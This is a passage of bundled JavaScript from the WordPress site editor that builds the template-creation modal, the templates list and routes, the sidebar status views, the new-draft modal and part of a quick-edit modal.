45686 (0, import_i18n152.__)("Add template: %s"),
45687 entityForSuggestions.labels.singular_name
45688 );
45689 } else if (modalContent === modalContentMap2.customGenericTemplate) {
45690 modalTitle = (0, import_i18n152.__)("Create custom template");
45691 }
45692 return /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(
45693 import_components158.Modal,
45694 {
45695 title: modalTitle,
45696 className: clsx_default("edit-site-add-new-template__modal", {
45697 "edit-site-add-new-template__modal_template_list": modalContent === modalContentMap2.templatesList,
45698 "edit-site-custom-template-modal": modalContent === modalContentMap2.customTemplate
45699 }),
45700 onRequestClose: onModalClose,
45701 overlayClassName: modalContent === modalContentMap2.customGenericTemplate ? "edit-site-custom-generic-template__modal" : void 0,
45702 ref: containerRef,
45703 children: [
45704 modalContent === modalContentMap2.templatesList && /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(
45705 import_components158.__experimentalGrid,
45706 {
45707 columns: isMobile ? 2 : 3,
45708 gap: 4,
45709 align: "flex-start",
45710 justify: "center",
45711 className: "edit-site-add-new-template__template-list__contents",
45712 children: [
45713 /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(import_components158.Flex, { className: "edit-site-add-new-template__template-list__prompt", children: (0, import_i18n152.__)(
45714 "Select what the new template should apply to:"
45715 ) }),
45716 missingTemplates.map((template) => {
45717 const { title, slug, onClick } = template;
45718 return /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45719 TemplateListItem2,
45720 {
45721 title,
45722 direction: "column",
45723 className: "edit-site-add-new-template__template-button",
45724 description: TEMPLATE_SHORT_DESCRIPTIONS[slug],
45725 icon: TEMPLATE_ICONS2[slug] || layout_default,
45726 onClick: () => onClick ? onClick(template) : createTemplate(template)
45727 },
45728 slug
45729 );
45730 }),
45731 /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45732 TemplateListItem2,
45733 {
45734 title: (0, import_i18n152.__)("Custom template"),
45735 direction: "row",
45736 className: "edit-site-add-new-template__custom-template-button",
45737 icon: pencil_default,
45738 onClick: () => setModalContent(
45739 modalContentMap2.customGenericTemplate
45740 ),
45741 children: /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45742 import_components158.__experimentalText,
45743 {
45744 lineHeight: 1.53846153846,
45745 children: (0, import_i18n152.__)(
45746 "A custom template can be manually applied to any post or page."
45747 )
45748 }
45749 )
45750 }
45751 )
45752 ]
45753 }
45754 ),
45755 modalContent === modalContentMap2.customTemplate && /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45756 add_custom_template_modal_content_default2,
45757 {
45758 onSelect: createTemplate,
45759 entityForSuggestions,
45760 onBack: () => setModalContent(modalContentMap2.templatesList),
45761 containerRef
45762 }
45763 ),
45764 modalContent === modalContentMap2.customGenericTemplate && /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45765 add_custom_generic_template_modal_content_default2,
45766 {
45767 createTemplate,
45768 onBack: () => setModalContent(modalContentMap2.templatesList)
45769 }
45770 )
45771 ]
45772 }
45773 );
45774 }
45775 function NewTemplate2() {
45776 const [showModal, setShowModal] = (0, import_element153.useState)(false);
45777 const { postType: postType2 } = (0, import_data77.useSelect)((select3) => {
45778 const { getPostType: getPostType2 } = select3(import_core_data58.store);
45779 return {
45780 postType: getPostType2(TEMPLATE_POST_TYPE)
45781 };
45782 }, []);
45783 if (!postType2) {
45784 return null;
45785 }
45786 return /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(import_jsx_runtime287.Fragment, { children: [
45787 /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45788 import_components158.Button,
45789 {
45790 variant: "primary",
45791 onClick: () => setShowModal(true),
45792 label: postType2.labels.add_new_item,
45793 __next40pxDefaultSize: true,
45794 children: postType2.labels.add_new_item
45795 }
45796 ),
45797 showModal && /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(NewTemplateModal2, { onClose: () => setShowModal(false) })
45798 ] });
45799 }
45800 function useMissingTemplates2(setEntityForSuggestions, onClick) {
45801 const existingTemplates = useExistingTemplates2();
45802 const defaultTemplateTypes = useDefaultTemplateTypes2();
45803 const existingTemplateSlugs = (existingTemplates || []).map(
45804 ({ slug }) => slug
45805 );
45806 const missingDefaultTemplates = (defaultTemplateTypes || []).filter(
45807 (template) => DEFAULT_TEMPLATE_SLUGS2.includes(template.slug) && !existingTemplateSlugs.includes(template.slug)
45808 );
45809 const onClickMenuItem = (_entityForSuggestions) => {
45810 onClick?.();
45811 setEntityForSuggestions(_entityForSuggestions);
45812 };
45813 const enhancedMissingDefaultTemplateTypes = [...missingDefaultTemplates];
45814 const { defaultTaxonomiesMenuItems, taxonomiesMenuItems } = useTaxonomiesMenuItems2(onClickMenuItem);
45815 const { defaultPostTypesMenuItems, postTypesMenuItems } = usePostTypeMenuItems2(onClickMenuItem);
45816 const authorMenuItem = useAuthorMenuItem2(onClickMenuItem);
45817 [
45818 ...defaultTaxonomiesMenuItems,
45819 ...defaultPostTypesMenuItems,
45820 authorMenuItem
45821 ].forEach((menuItem) => {
45822 if (!menuItem) {
45823 return;
45824 }
45825 const matchIndex = enhancedMissingDefaultTemplateTypes.findIndex(
45826 (template) => template.slug === menuItem.slug
45827 );
45828 if (matchIndex > -1) {
45829 enhancedMissingDefaultTemplateTypes[matchIndex] = menuItem;
45830 } else {
45831 enhancedMissingDefaultTemplateTypes.push(menuItem);
45832 }
45833 });
45834 enhancedMissingDefaultTemplateTypes?.sort((template1, template2) => {
45835 return DEFAULT_TEMPLATE_SLUGS2.indexOf(template1.slug) - DEFAULT_TEMPLATE_SLUGS2.indexOf(template2.slug);
45836 });
45837 const missingTemplates = [
45838 ...enhancedMissingDefaultTemplateTypes,
45839 ...usePostTypeArchiveMenuItems2(),
45840 ...postTypesMenuItems,
45841 ...taxonomiesMenuItems
45842 ];
45843 return missingTemplates;
45844 }
45845 var add_new_template_legacy_default = (0, import_element153.memo)(NewTemplate2);
45846
45847 // packages/edit-site/build-module/components/page-templates/index-legacy.mjs
45848 var import_jsx_runtime288 = __toESM(require_jsx_runtime(), 1);
45849 var { usePostActions: usePostActions3, templateTitleField: templateTitleField2 } = unlock(import_editor36.privateApis);
45850 var { useHistory: useHistory24, useLocation: useLocation31 } = unlock(import_router37.privateApis);
45851 var { useEntityRecordsWithPermissions: useEntityRecordsWithPermissions3 } = unlock(import_core_data59.privateApis);
45852 function PageTemplates2() {
45853 const { path, query } = useLocation31();
45854 const { activeView = "active", postId } = query;
45855 const [selection, setSelection] = (0, import_element154.useState)([postId]);
45856 const defaultView = DEFAULT_VIEW2;
45857 const activeViewOverrides = (0, import_element154.useMemo)(
45858 () => getActiveViewOverridesForTab(activeView),
45859 [activeView]
45860 );
45861 const { view, updateView, isModified, resetToDefault } = useView({
45862 kind: "postType",
45863 name: TEMPLATE_POST_TYPE,
45864 slug: "default",
45865 defaultView,
45866 activeViewOverrides,
45867 queryParams: {
45868 page: query.pageNumber,
45869 search: query.search
45870 },
45871 onChangeQueryParams: (newQueryParams) => {
45872 history.navigate(
45873 (0, import_url25.addQueryArgs)(path, {
45874 ...query,
45875 pageNumber: newQueryParams.page,
45876 search: newQueryParams.search || void 0
45877 })
45878 );
45879 }
45880 });
45881 const { records, isResolving: isLoadingData } = useEntityRecordsWithPermissions3("postType", TEMPLATE_POST_TYPE, {
45882 per_page: -1
45883 });
45884 const history = useHistory24();
45885 const onChangeSelection = (0, import_element154.useCallback)(
45886 (items) => {
45887 setSelection(items);
45888 if (view?.type === "list") {
45889 history.navigate(
45890 (0, import_url25.addQueryArgs)(path, {
45891 postId: items.length === 1 ? items[0] : void 0
45892 })
45893 );
45894 }
45895 },
45896 [history, path, view?.type]
45897 );
45898 const authors = (0, import_element154.useMemo)(() => {
45899 if (!records) {
45900 return [];
45901 }
45902 const authorsSet = /* @__PURE__ */ new Set();
45903 records.forEach((template) => {
45904 authorsSet.add(template.author_text);
45905 });
45906 return Array.from(authorsSet).map((author) => ({
45907 value: author,
45908 label: author
45909 }));
45910 }, [records]);
45911 const fields = (0, import_element154.useMemo)(
45912 () => [
45913 previewField2,
45914 templateTitleField2,
45915 descriptionField,
45916 {
45917 ...authorField,
45918 elements: authors
45919 }
45920 ],
45921 [authors]
45922 );
45923 const { data, paginationInfo } = (0, import_element154.useMemo)(() => {
45924 return filterSortAndPaginate(records, view, fields);
45925 }, [records, view, fields]);
45926 const postTypeActions = usePostActions3({
45927 postType: TEMPLATE_POST_TYPE,
45928 context: "list"
45929 });
45930 const editAction = useEditPostAction();
45931 const actions = (0, import_element154.useMemo)(
45932 () => [editAction, ...postTypeActions],
45933 [postTypeActions, editAction]
45934 );
45935 const onChangeView = (0, import_compose33.useEvent)((newView) => {
45936 updateView(newView);
45937 if (newView.type !== view.type) {
45938 history.invalidate();
45939 }
45940 });
45941 return /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(
45942 page_default2,
45943 {
45944 className: "edit-site-page-templates",
45945 title: (0, import_i18n153.__)("Templates"),
45946 headingLevel: 2,
45947 actions: /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(add_new_template_legacy_default, {}),
45948 children: /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(
45949 dataviews_default,
45950 {
45951 paginationInfo,
45952 fields,
45953 actions,
45954 data,
45955 isLoading: isLoadingData,
45956 view,
45957 onChangeView,
45958 onChangeSelection,
45959 isItemClickable: () => true,
45960 onClickItem: ({ id }) => {
45961 history.navigate(`/wp_template/${id}?canvas=edit`);
45962 },
45963 selection,
45964 defaultLayouts: defaultLayouts2,
45965 onReset: isModified ? () => {
45966 resetToDefault();
45967 history.invalidate();
45968 } : false
45969 },
45970 activeView
45971 )
45972 }
45973 );
45974 }
45975
45976 // packages/edit-site/build-module/components/site-editor-routes/templates.mjs
45977 var import_jsx_runtime289 = __toESM(require_jsx_runtime(), 1);
45978 async function isTemplateListView(query) {
45979 const { activeView = "active" } = query;
45980 const view = await loadView({
45981 kind: "postType",
45982 name: "wp_template",
45983 slug: "default",
45984 defaultView: DEFAULT_VIEW2,
45985 activeViewOverrides: getActiveViewOverridesForTab(activeView)
45986 });
45987 return view.type === "list";
45988 }
45989 var templatesRoute = {
45990 name: "templates",
45991 path: "/template",
45992 areas: {
45993 sidebar({ siteData }) {
45994 const isBlockTheme = siteData.currentTheme?.is_block_theme;
45995 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(SidebarNavigationScreenTemplatesBrowse, { backPath: "/" }) : /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(SidebarNavigationScreenUnsupported, {});
45996 },
45997 content({ siteData }) {
45998 const isBlockTheme = siteData.currentTheme?.is_block_theme;
45999 if (!isBlockTheme) {
46000 return void 0;
46001 }
46002 return window?.__experimentalTemplateActivate ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(PageTemplates, {}) : /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(PageTemplates2, {});
46003 },
46004 async preview({ query, siteData }) {
46005 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46006 if (!isBlockTheme) {
46007 return void 0;
46008 }
46009 const isListView2 = await isTemplateListView(query);
46010 return isListView2 ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(EditSiteEditor, {}) : void 0;
46011 },
46012 mobile({ siteData }) {
46013 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46014 if (!isBlockTheme) {
46015 return /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(SidebarNavigationScreenUnsupported, {});
46016 }
46017 const isTemplateActivateEnabled = typeof window !== "undefined" && window.__experimentalTemplateActivate;
46018 return isTemplateActivateEnabled ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(PageTemplates, {}) : /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(PageTemplates2, {});
46019 }
46020 },
46021 widths: {
46022 async content({ query }) {
46023 const isListView2 = await isTemplateListView(query);
46024 return isListView2 ? 380 : void 0;
46025 }
46026 }
46027 };
46028
46029 // packages/edit-site/build-module/components/site-editor-routes/template-item.mjs
46030 var import_jsx_runtime290 = __toESM(require_jsx_runtime(), 1);
46031 var areas = {
46032 sidebar({ siteData }) {
46033 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46034 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(SidebarNavigationScreenTemplatesBrowse, { backPath: "/" }) : /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(SidebarNavigationScreenUnsupported, {});
46035 },
46036 mobile({ siteData }) {
46037 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46038 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(SidebarNavigationScreenUnsupported, {});
46039 },
46040 preview({ siteData }) {
46041 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46042 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(SidebarNavigationScreenUnsupported, {});
46043 }
46044 };
46045 var templateItemRoute = {
46046 name: "template-item",
46047 path: "/wp_template/*postId",
46048 areas
46049 };
46050
46051 // packages/edit-site/build-module/components/site-editor-routes/pages.mjs
46052 var import_router41 = __toESM(require_router(), 1);
46053 var import_i18n157 = __toESM(require_i18n(), 1);
46054
46055 // packages/edit-site/build-module/components/sidebar-dataviews/index.mjs
46056 var import_components160 = __toESM(require_components(), 1);
46057 var import_router39 = __toESM(require_router(), 1);
46058 var import_data78 = __toESM(require_data(), 1);
46059 var import_core_data60 = __toESM(require_core_data(), 1);
46060 var import_element155 = __toESM(require_element(), 1);
46061
46062 // packages/edit-site/build-module/components/sidebar-dataviews/dataview-item.mjs
46063 var import_router38 = __toESM(require_router(), 1);
46064 var import_components159 = __toESM(require_components(), 1);
46065 var import_url26 = __toESM(require_url(), 1);
46066 var import_jsx_runtime291 = __toESM(require_jsx_runtime(), 1);
46067 var { useLocation: useLocation32 } = unlock(import_router38.privateApis);
46068 function DataViewItem({
46069 title,
46070 slug,
46071 type,
46072 icon,
46073 isActive,
46074 suffix
46075 }) {
46076 const { path } = useLocation32();
46077 const iconToUse = icon || VIEW_LAYOUTS.find((v2) => v2.type === type).icon;
46078 if (slug === "all") {
46079 slug = void 0;
46080 }
46081 return /* @__PURE__ */ (0, import_jsx_runtime291.jsxs)(
46082 import_components159.__experimentalHStack,
46083 {
46084 justify: "flex-start",
46085 className: clsx_default("edit-site-sidebar-dataviews-dataview-item", {
46086 "is-selected": isActive
46087 }),
46088 children: [
46089 /* @__PURE__ */ (0, import_jsx_runtime291.jsx)(
46090 SidebarNavigationItem,
46091 {
46092 icon: iconToUse,
46093 to: (0, import_url26.addQueryArgs)(path, {
46094 activeView: slug
46095 }),
46096 "aria-current": isActive ? "true" : void 0,
46097 children: title
46098 }
46099 ),
46100 suffix
46101 ]
46102 }
46103 );
46104 }
46105
46106 // packages/edit-site/build-module/components/post-list/view-utils.mjs
46107 var import_i18n154 = __toESM(require_i18n(), 1);
46108 var defaultLayouts3 = {
46109 table: {
46110 layout: {
46111 styles: {
46112 author: {
46113 align: "start"
46114 }
46115 }
46116 }
46117 },
46118 grid: {},
46119 list: {}
46120 };
46121 var DEFAULT_VIEW3 = {
46122 type: "list",
46123 filters: [],
46124 perPage: 20,
46125 sort: {
46126 field: "title",
46127 direction: "asc"
46128 },
46129 showLevels: true,
46130 titleField: "title",
46131 mediaField: "featured_media",
46132 fields: ["author", "status"],
46133 ...defaultLayouts3.list
46134 };
46135 function getDefaultViews(postType2) {
46136 return [
46137 {
46138 title: postType2?.labels?.all_items || (0, import_i18n154.__)("All items"),
46139 slug: "all",
46140 icon: pages_default,
46141 view: DEFAULT_VIEW3
46142 },
46143 {
46144 title: (0, import_i18n154.__)("Published"),
46145 slug: "published",
46146 icon: published_default,
46147 view: {
46148 ...DEFAULT_VIEW3,
46149 filters: [
46150 {
46151 field: "status",
46152 operator: OPERATOR_IS_ANY,
46153 value: "publish",
46154 isLocked: true
46155 }
46156 ]
46157 }
46158 },
46159 {
46160 title: (0, import_i18n154.__)("Scheduled"),
46161 slug: "future",
46162 icon: scheduled_default,
46163 view: {
46164 ...DEFAULT_VIEW3,
46165 filters: [
46166 {
46167 field: "status",
46168 operator: OPERATOR_IS_ANY,
46169 value: "future",
46170 isLocked: true
46171 }
46172 ]
46173 }
46174 },
46175 {
46176 title: (0, import_i18n154.__)("Drafts"),
46177 slug: "drafts",
46178 icon: drafts_default,
46179 view: {
46180 ...DEFAULT_VIEW3,
46181 filters: [
46182 {
46183 field: "status",
46184 operator: OPERATOR_IS_ANY,
46185 value: "draft",
46186 isLocked: true
46187 }
46188 ]
46189 }
46190 },
46191 {
46192 title: (0, import_i18n154.__)("Pending"),
46193 slug: "pending",
46194 icon: pending_default,
46195 view: {
46196 ...DEFAULT_VIEW3,
46197 filters: [
46198 {
46199 field: "status",
46200 operator: OPERATOR_IS_ANY,
46201 value: "pending",
46202 isLocked: true
46203 }
46204 ]
46205 }
46206 },
46207 {
46208 title: (0, import_i18n154.__)("Private"),
46209 slug: "private",
46210 icon: not_allowed_default,
46211 view: {
46212 ...DEFAULT_VIEW3,
46213 filters: [
46214 {
46215 field: "status",
46216 operator: OPERATOR_IS_ANY,
46217 value: "private",
46218 isLocked: true
46219 }
46220 ]
46221 }
46222 },
46223 {
46224 title: (0, import_i18n154.__)("Trash"),
46225 slug: "trash",
46226 icon: trash_default,
46227 view: {
46228 ...DEFAULT_VIEW3,
46229 type: "table",
46230 layout: defaultLayouts3.table.layout,
46231 filters: [
46232 {
46233 field: "status",
46234 operator: OPERATOR_IS_ANY,
46235 value: "trash",
46236 isLocked: true
46237 }
46238 ]
46239 }
46240 }
46241 ];
46242 }
46243 var SLUG_TO_STATUS = {
46244 published: "publish",
46245 future: "future",
46246 drafts: "draft",
46247 pending: "pending",
46248 private: "private",
46249 trash: "trash"
46250 };
46251 function getActiveViewOverridesForTab2(activeView) {
46252 const base = {
46253 ...defaultLayouts3.table
46254 };
46255 const status = SLUG_TO_STATUS[activeView];
46256 if (!status) {
46257 return base;
46258 }
46259 return {
46260 ...base,
46261 filters: [
46262 {
46263 field: "status",
46264 operator: OPERATOR_IS_ANY,
46265 value: status,
46266 isLocked: true
46267 }
46268 ]
46269 };
46270 }
46271
46272 // packages/edit-site/build-module/components/sidebar-dataviews/index.mjs
46273 var import_jsx_runtime292 = __toESM(require_jsx_runtime(), 1);
46274 var { useLocation: useLocation33 } = unlock(import_router39.privateApis);
46275 function DataViewsSidebarContent({ postType: postType2 }) {
46276 const {
46277 query: { activeView = "all" }
46278 } = useLocation33();
46279 const postTypeObject = (0, import_data78.useSelect)(
46280 (select3) => {
46281 const { getPostType: getPostType2 } = select3(import_core_data60.store);
46282 return getPostType2(postType2);
46283 },
46284 [postType2]
46285 );
46286 const defaultViews = (0, import_element155.useMemo)(
46287 () => getDefaultViews(postTypeObject),
46288 [postTypeObject]
46289 );
46290 if (!postType2) {
46291 return null;
46292 }
46293 return /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(import_jsx_runtime292.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(import_components160.__experimentalItemGroup, { className: "edit-site-sidebar-dataviews", children: defaultViews.map((dataview) => {
46294 return /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
46295 DataViewItem,
46296 {
46297 slug: dataview.slug,
46298 title: dataview.title,
46299 icon: dataview.icon,
46300 type: dataview.view.type,
46301 isActive: dataview.slug === activeView
46302 },
46303 dataview.slug
46304 );
46305 }) }) });
46306 }
46307
46308 // packages/edit-site/build-module/components/post-list/index.mjs
46309 var import_components163 = __toESM(require_components(), 1);
46310 var import_core_data64 = __toESM(require_core_data(), 1);
46311 var import_element159 = __toESM(require_element(), 1);
46312 var import_router40 = __toESM(require_router(), 1);
46313 var import_data81 = __toESM(require_data(), 1);
46314 var import_editor40 = __toESM(require_editor(), 1);
46315 var import_compose34 = __toESM(require_compose(), 1);
46316 var import_url27 = __toESM(require_url(), 1);
46317
46318 // packages/edit-site/build-module/components/add-new-post/index.mjs
46319 var import_components161 = __toESM(require_components(), 1);
46320 var import_i18n155 = __toESM(require_i18n(), 1);
46321 var import_data79 = __toESM(require_data(), 1);
46322 var import_element156 = __toESM(require_element(), 1);
46323 var import_core_data61 = __toESM(require_core_data(), 1);
46324 var import_notices10 = __toESM(require_notices(), 1);
46325 var import_html_entities18 = __toESM(require_html_entities(), 1);
46326 var import_blocks14 = __toESM(require_blocks(), 1);
46327 var import_jsx_runtime293 = __toESM(require_jsx_runtime(), 1);
46328 function AddNewPostModal({ postType: postType2, onSave, onClose }) {
46329 const labels = (0, import_data79.useSelect)(
46330 (select3) => select3(import_core_data61.store).getPostType(postType2)?.labels,
46331 [postType2]
46332 );
46333 const [isCreatingPost, setIsCreatingPost] = (0, import_element156.useState)(false);
46334 const [title, setTitle] = (0, import_element156.useState)("");
46335 const { saveEntityRecord } = (0, import_data79.useDispatch)(import_core_data61.store);
46336 const { createErrorNotice, createSuccessNotice } = (0, import_data79.useDispatch)(import_notices10.store);
46337 const { resolveSelect: resolveSelect2 } = (0, import_data79.useRegistry)();
46338 async function createPost(event) {
46339 event.preventDefault();
46340 if (isCreatingPost) {
46341 return;
46342 }
46343 setIsCreatingPost(true);
46344 try {
46345 const postTypeObject = await resolveSelect2(import_core_data61.store).getPostType(postType2);
46346 const newPage = await saveEntityRecord(
46347 "postType",
46348 postType2,
46349 {
46350 status: "draft",
46351 title,
46352 slug: title ?? void 0,
46353 content: !!postTypeObject.template && postTypeObject.template.length ? (0, import_blocks14.serialize)(
46354 (0, import_blocks14.synchronizeBlocksWithTemplate)(
46355 [],
46356 postTypeObject.template
46357 )
46358 ) : void 0
46359 },
46360 { throwOnError: true }
46361 );
46362 onSave(newPage);
46363 createSuccessNotice(
46364 (0, import_i18n155.sprintf)(
46365 // translators: %s: Title of the created post or template, e.g: "Hello world".
46366 (0, import_i18n155.__)('"%s" successfully created.'),
46367 (0, import_html_entities18.decodeEntities)(newPage.title?.rendered || title) || (0, import_i18n155.__)("(no title)")
46368 ),
46369 { type: "snackbar" }
46370 );
46371 } catch (error) {
46372 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n155.__)("An error occurred while creating the item.");
46373 createErrorNotice(errorMessage, {
46374 type: "snackbar"
46375 });
46376 } finally {
46377 setIsCreatingPost(false);
46378 }
46379 }
46380 return /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(
46381 import_components161.Modal,
46382 {
46383 title: (
46384 // translators: %s: post type singular_name label e.g: "Page".
46385 (0, import_i18n155.sprintf)((0, import_i18n155.__)("Draft new: %s"), labels?.singular_name)
46386 ),
46387 onRequestClose: onClose,
46388 focusOnMount: "firstContentElement",
46389 size: "small",
46390 children: /* @__PURE__ */ (0, import_jsx_runtime293.jsx)("form", { onSubmit: createPost, children: /* @__PURE__ */ (0, import_jsx_runtime293.jsxs)(import_components161.__experimentalVStack, { spacing: 4, children: [
46391 /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(
46392 import_components161.TextControl,
46393 {
46394 __next40pxDefaultSize: true,
46395 label: (0, import_i18n155.__)("Title"),
46396 onChange: setTitle,
46397 placeholder: (0, import_i18n155.__)("No title"),
46398 value: title
46399 }
46400 ),
46401 /* @__PURE__ */ (0, import_jsx_runtime293.jsxs)(import_components161.__experimentalHStack, { spacing: 2, justify: "end", children: [
46402 /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(
46403 import_components161.Button,
46404 {
46405 __next40pxDefaultSize: true,
46406 variant: "tertiary",
46407 onClick: onClose,
46408 children: (0, import_i18n155.__)("Cancel")
46409 }
46410 ),
46411 /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(
46412 import_components161.Button,
46413 {
46414 __next40pxDefaultSize: true,
46415 variant: "primary",
46416 type: "submit",
46417 isBusy: isCreatingPost,
46418 "aria-disabled": isCreatingPost,
46419 children: (0, import_i18n155.__)("Create draft")
46420 }
46421 )
46422 ] })
46423 ] }) })
46424 }
46425 );
46426 }
46427
46428 // packages/edit-site/build-module/components/post-list/use-notes-count.mjs
46429 var import_element157 = __toESM(require_element(), 1);
46430 var import_core_data62 = __toESM(require_core_data(), 1);
46431 function useNotesCount(postIds) {
46432 const { records: notes, isResolving } = (0, import_core_data62.useEntityRecords)(
46433 "root",
46434 "comment",
46435 {
46436 post: postIds,
46437 type: "note",
46438 status: "all",
46439 per_page: -1,
46440 _fields: "id,post"
46441 },
46442 {
46443 enabled: postIds?.length > 0
46444 }
46445 );
46446 const notesCount = (0, import_element157.useMemo)(() => {
46447 if (!notes || notes.length === 0) {
46448 return {};
46449 }
46450 const counts = {};
46451 notes.forEach((note) => {
46452 const postId = note.post;
46453 counts[postId] = (counts[postId] || 0) + 1;
46454 });
46455 return counts;
46456 }, [notes]);
46457 return { notesCount, isResolving };
46458 }
46459
46460 // packages/edit-site/build-module/components/post-list/quick-edit-modal.mjs
46461 var import_i18n156 = __toESM(require_i18n(), 1);
46462 var import_data80 = __toESM(require_data(), 1);
46463 var import_core_data63 = __toESM(require_core_data(), 1);
46464 var import_components162 = __toESM(require_components(), 1);
46465 var import_element158 = __toESM(require_element(), 1);
46466 var import_editor39 = __toESM(require_editor(), 1);
46467 var import_jsx_runtime294 = __toESM(require_jsx_runtime(), 1);
46468 var { usePostFields: usePostFields2, PostCardPanel } = unlock(import_editor39.privateApis);
46469 var fieldsWithBulkEditSupport = ["status", "date", "author", "discussion"];
46470 function QuickEditModal({ postType: postType2, postId, closeModal }) {
46471 const isBulk = postId.length > 1;
46472 const [localEdits, setLocalEdits] = (0, import_element158.useState)({});
46473 const { record, hasFinishedResolution, canSwitchTemplate } = (0, import_data80.useSelect)(
46474 (select3) => {
46475 const {
46476 getEditedEntityRecord,
46477 hasFinishedResolution: hasFinished
46478 } = select3(import_core_data63.store);
46479 if (isBulk) {
46480 return {
46481 record: null,
46482 hasFinishedResolution: true
46483 };
46484 }
46485 const args = ["postType", postType2, postId[0]];
46486 const { getHomePage, getPostsPageId } = unlock(
46487 select3(import_core_data63.store)
46488 );
46489 const singlePostId = String(postId[0]);
46490 const isPostsPage = singlePostId !== void 0 && getPostsPageId() === singlePostId;
46491 const isFrontPage = singlePostId !== void 0 && postType2 === "page" && getHomePage()?.postId === singlePostId;
46492 return {
46493 record: getEditedEntityRecord(...args),
46494 hasFinishedResolution: hasFinished(
46495 "getEditedEntityRecord",
46496 args
46497 ),
46498 canSwitchTemplate: !isPostsPage && !isFrontPage
46499 };
46500 },
46501 [postType2, postId, isBulk]
46502 );
46503 const { editEntityRecord, saveEditedEntityRecord } = (0, import_data80.useDispatch)(import_core_data63.store);
46504 const _fields = usePostFields2({ postType: postType2 });
46505 const fields = (0, import_element158.useMemo)(
46506 () => _fields?.map((field) => {
46507 if (field.id === "status") {
46508 return {
46509 ...field,
46510 elements: field.elements.filter(
46511 (element) => element.value !== "trash"
46512 )
46513 };
46514 }
46515 if (field.id === "template") {
46516 return {
46517 ...field,
46518 readOnly: !canSwitchTemplate
46519 };
46520 }
46521 return field;
46522 }),
46523 [_fields, canSwitchTemplate]
46524 );
46525 const form = (0, import_element158.useMemo)(() => {
46526 const allFields = [
46527 {
46528 id: "featured_media",
46529 layout: {
46530 type: "regular",
46531 labelPosition: "none"
46532 }
46533 },
46534 {
46535 id: "status",
46536 label: (0, import_i18n156.__)("Status"),
46537 children: [
46538 {
46539 id: "status",
46540 layout: { type: "regular", labelPosition: "none" }
46541 },
46542 "password"
46543 ]
46544 },
46545 "author",
46546 "date",
46547 "slug",
46548 "parent",
46549 {
46550 id: "discussion",
46551 label: (0, import_i18n156.__)("Discussion"),
46552 children: [
46553 {
46554 id: "comment_status",
46555 layout: { type: "regular", labelPosition: "none" }
46556 },
46557 "ping_status"
46558 ]
46559 },
46560 "template"
46561 ];
46562 return {
46563 layout: {
46564 type: "panel"
46565 },
46566 fields: isBulk ? allFields.filter(
46567 (field) => fieldsWithBulkEditSupport.includes(
46568 typeof field === "string" ? field : field.id
46569 )
46570 ) : allFields
46571 };
46572 }, [isBulk]);
46573 const onChange = (edits) => {
46574 const currentData = { ...record, ...localEdits };
46575 if (edits.status && edits.status !== "future" && currentData?.status === "future" && new Date(currentData.date) > /* @__PURE__ */ new Date()) {
46576 edits.date = null;
46577 }
46578 if (edits.status && edits.status === "private" && currentData?.password) {
46579 edits.password = "";
46580 }
46581 setLocalEdits((prev) => ({ ...prev, ...edits }));
46582 };
46583 (0, import_element158.useEffect)(() => {
46584 setLocalEdits({});
46585 }, [postId]);
46586 const onSave = async () => {
46587 for (const id of postId) {
46588 editEntityRecord("postType", postType2, id, localEdits);
46589 }
46590 if (isBulk) {
46591 await Promise.allSettled(
46592 postId.map(
46593 (id) => saveEditedEntityRecord("postType", postType2, id)
46594 )
46595 );
46596 } else {
46597 await saveEditedEntityRecord("postType", postType2, postId[0]);
46598 }
46599 closeModal?.();
46600 };
46601 return /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(
46602 import_components162.Modal,
46603 {
46604 overlayClassName: "dataviews-action-modal__quick-edit",
46605 __experimentalHideHeader: true,
46606 onRequestClose: closeModal,
46607 focusOnMount: "firstElement",
46608 children: [
46609 /* @__PURE__ */ (0, import_jsx_runtime294.jsx)("div", { className: "dataviews-action-modal__quick-edit-header", children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
46610 PostCardPanel,
46611 {
46612 postType: postType2,
46613 postId,
46614 onClose: closeModal,
46615 hideActions: true
46616 }
46617 ) }),
